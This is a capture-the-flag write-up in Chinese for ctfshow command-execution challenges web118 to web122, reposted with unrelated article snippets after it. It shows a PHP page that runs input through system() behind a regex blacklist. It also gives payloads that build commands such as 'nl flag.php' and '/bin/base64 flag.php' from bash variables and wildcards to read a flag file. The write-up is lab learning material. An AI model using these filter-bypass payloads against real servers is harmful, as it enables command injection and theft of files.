ctfshow-命令执行(web118-web122)

web118

是一个窗口 

查看源码 发现是system($code) 命令执行

经过测试禁用了很多东西 很多很多

$IFS可以 思路就是使用系统变量 构造我需要的poc

这些都是系统的环境变量

这是答案${PATH:~A}${PWD:~A}$IFS????.???

解释一下

PATH变量输出结尾一般都是n

因为网站默认根目录为/var/www/html 所以${PWD:~A}取值就是l

题目还提示flag在flag.php中

所以就是${PATH:~A}${PWD:~A}$IFS????.???

翻译过来就是 nl flag.php

注意 因果过滤了很多 如何判断过滤了哪些呢 写一个小字典把所有字符写出来 然后使用bp爆破 因为如果是过滤的页面就会返回evil input 否则什么都没有 这么一看数据包是有区别的 最后发现可以用发现可以用大写字母A-Z${}~.?:

web119

大师傅讲的我没有听懂 太难了根本理解不了

但是网上找的都好理解

首先看

linux bash内置变量表

第一种方法 

答案是

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

使用的方法是 /bin/base64 flag.php的方式

/使用${PWD::${#SHLVL}}构造

4使用${#RANDOM}构造 

因为RANDOM属于随机变量 输出4或者5 所以多提交几次即可

第二种方法

${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录

开始构造:可以构造一下/bin/cat
/:${PWD::${#SHLVL}}
a:${USER:~A}
t:${USER:~${#SHLVL}:${#SHLVL}}

构造出/bin/cat flag.php

答案是

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.???

web120

给出了源码


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

使用上一题的payload即可 知识改为了POST 一个道理

web121

这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/和r字符,或者 v。

构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

解答:这次PWD被过滤了,但是HOME可以用了。

1)/可以通过HOME获取,需要数字1,但是#被过滤了。

$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A。

这里要说一下,我看有一些wp写的$?返回值的内容是linux的error
code,并不是,<A提示的错误是no such file or dictionary,它对应的error code 是2,但是$?的结果是1。
——$?返回数据具体都有什么,这个我没有查到。

2)这次可以用命令/bin/base64。因为,${RANDOM}可以出现4或5,可以构造/???/?????4。需要多试几次才能拿到flag。

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

多刷新几次

解码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/460113.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决“使用Edge浏览器每次鼠标点击会出现一个黑色边框”的问题

目录 一 问题描述 二 解决方案 三 方案来源 四 参考资料 & AI工具 一 问题描述 为了方便进行收藏夹同步&#xff0c;开始从Chrome浏览器切换到Edge浏览器。在使用Edge浏览器过程中发现“每次鼠标点击会出现一个黑色边框”&#xff08;效果如下图所示&#xff09;&#…

使用异步命名管道通信的实例

记录一个使用异步命名管道通信的实例。代码参考了 MSDN 的文档&#xff1a;使用完成例程的命名管道服务器 - Win32 apps | Microsoft Learn。 服务端代码 #include <windows.h> #include <stdio.h> #include <tchar.h> #include <strsafe.h>#define…

containerd中文翻译系列(十五)转运服务

传输服务是一种简单灵活的服务&#xff0c;可用于在源和目的地之间传输人工制品对象。灵活的应用程序接口&#xff08;API&#xff09;允许传输接口的每个实施方案决定是否可以在源和目的地之间进行传输。这样&#xff0c;实现者就可以直接添加新功能&#xff0c;而无需对应用程…

高斯伪谱C++封装库开源!

Windows x64/86 C无依赖运行高斯伪谱法求解最优控制问题&#xff0c;你只需要ElegantGP! Author: Y. F. Zhang His Github: https://github.com/ZYunfeii 写在前面 这个库在你下载它的那一时刻起不再依赖任何其他代码&#xff0c;直接可用来构建C的最优控制问题并进行求解。…

机器学习--K-近邻算法常见的几种距离算法详解

文章目录 距离度量1 欧式距离(Euclidean Distance)2 曼哈顿距离(Manhattan Distance)3 切比雪夫距离 (Chebyshev Distance)4 闵可夫斯基距离(Minkowski Distance)5 标准化欧氏距离 (Standardized EuclideanDistance)6 余弦距离(Cosine Distance)7 汉明距离(Hamming Distance)【…

一起玩儿物联网人工智能小车(ESP32)——57. SPI总线协议初探(一)

摘要&#xff1a;介绍SPI总线的基本知识 前面已经学习过IIC总线协议&#xff0c;今天开始介绍另一个总线协议——SPI。SPI&#xff08;Serial Peripheral Interface&#xff0c;串行外设接口&#xff09;是由Motorola提出的一种高速、全双工、同步的通信总线。并且在芯片的管脚…

防静电地板行业研究:市场需求不断的扩大

防静电地板又叫做耗散静电地板&#xff0c;是一种地板&#xff0c;当它接地或连接到任何较低电位点时&#xff0c;使电荷能够耗散&#xff0c;以电阻在10的5次方到10的9次方欧姆之间为特征。 目前防静电地板产业还没有集中完成规模化&#xff0c;标准化&#xff0c;规范化&…

c++阶梯之类与对象(中)< 续集 >

前文&#xff1a; c阶梯之类与对象&#xff08;上&#xff09;-CSDN博客 c阶梯之类与对象&#xff08;中&#xff09;-CSDN博客 前言&#xff1a; 在上文中&#xff0c;我们学习了类的六个默认成员函数之构造&#xff0c;析构与拷贝构造函数&#xff0c;接下来我们来看看剩下…

堆排序-Python实现

简述 堆排序&#xff08;Heap Sort&#xff09;是一种基于比较的排序算法&#xff0c;它利用堆这种数据结构所设计的一种排序算法。堆排序是一种选择排序&#xff0c;它的最坏&#xff0c;最好&#xff0c;平均时间复杂度均为O(nlogn)&#xff0c;它也是不稳定排序。 堆 堆排…

【数据结构】链表OJ面试题4(题库+解析)

1.前言 前五题在这http://t.csdnimg.cn/UeggB 后三题在这http://t.csdnimg.cn/gbohQ 给定一个链表&#xff0c;判断链表中是否有环。http://t.csdnimg.cn/Rcdyc 记录每天的刷题&#xff0c;继续坚持&#xff01; 2.OJ题目训练 10. 给定一个链表&#xff0c;返回链表开始…

豪掷770亿!华为员工集体“分红大狂欢”:至少14万人受益

豪掷770亿&#xff01;华为员工集体“分红大狂欢”&#xff1a;至少14万人受益 近日&#xff0c;华为宣布了其2023年度分红计划&#xff0c;总金额高达770.85亿元&#xff0c;预计至少将惠及14万员工。这一消息引发了广泛关注和热议&#xff0c;成为业界的一大亮点。作为中国领…

嵌入式学习之Linux入门篇笔记——16,Linux工具之make工具和makefile文件

配套视频学习链接&#xff1a;http://【【北京迅为】嵌入式学习之Linux入门篇】 https://www.bilibili.com/video/BV1M7411m7wT/?p4&share_sourcecopy_web&vd_sourcea0ef2c4953d33a9260910aaea45eaec8 1.什么是 make 工具&#xff1f; 编译辅助工具。解决使用命令…